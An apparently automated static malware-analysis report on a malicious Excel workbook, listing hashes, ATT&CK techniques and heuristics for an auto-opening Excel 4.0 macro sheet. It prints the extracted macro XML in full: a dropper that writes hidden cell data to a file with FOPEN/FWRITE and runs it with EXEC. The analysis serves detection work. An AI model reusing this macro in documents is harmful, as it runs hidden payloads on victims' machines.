Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e3eb337da80363ef…

MALICIOUS

Office (OOXML)

197.2 KB Created: 2021-09-13 09:41:09 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-22
MD5: 8c24df830ad91925a7ecc77baba59e34 SHA-1: 17305646da58c3004eddf6350e8fba0719f855ae SHA-256: e3eb337da80363efcc11eab78c8cbddbf9a61aa1ae4442b77f4903f52ef8f0ad
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions such as FOPEN, FWRITE, FCLOSE, EXEC, and HALT to download and execute a second-stage payload. The presence of these functions and the overall structure strongly suggest a downloader or dropper functionality.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1477 bytes
SHA-256: ffedc56a926dac8e16ab9ecdad08c240ea7e6f6b924742426982dd65e35dea2f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A148:B1722"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="148" spans="1:1"><c r="A148" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$836, 1, 200), 1+2)</f><v>0</v></c></row><row r="262" spans="1:1"><c r="A262" t="b"><f>FOR.CELL("LxoqB",Sheet1!G159:DC409, TRUE)</f><v>0</v></c></row><row r="321" spans="1:1"><c r="A321" t="e"><f>FWRITE(Macro1!A148,CHAR(LxoqB))</f><v>#NAME?</v></c></row><row r="436" spans="1:1"><c r="A436" t="b"><f>NEXT()</f><v>0</v></c></row><row r="526" spans="1:1"><c r="A526" t="b"><f>FCLOSE(Macro1!A148)</f><v>0</v></c></row><row r="836" spans="2:2"/><row r="1301" spans="1:1"><c r="A1301" t="b"><f>SET.VALUE(Macro1!$B$1722, GET.NOTE(Macro1!$B$1722, 1, 200))</f><v>0</v></c></row><row r="1370" spans="1:1"><c r="A1370" t="b"><f>EXEC(Macro1!$B$1722)</f><v>0</v></c></row><row r="1400" spans="1:1"><c r="A1400" t="b"><f>HALT()</f><v>0</v></c></row><row r="1722" spans="2:2"/></sheetData><sheetProtection password="D7F3" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>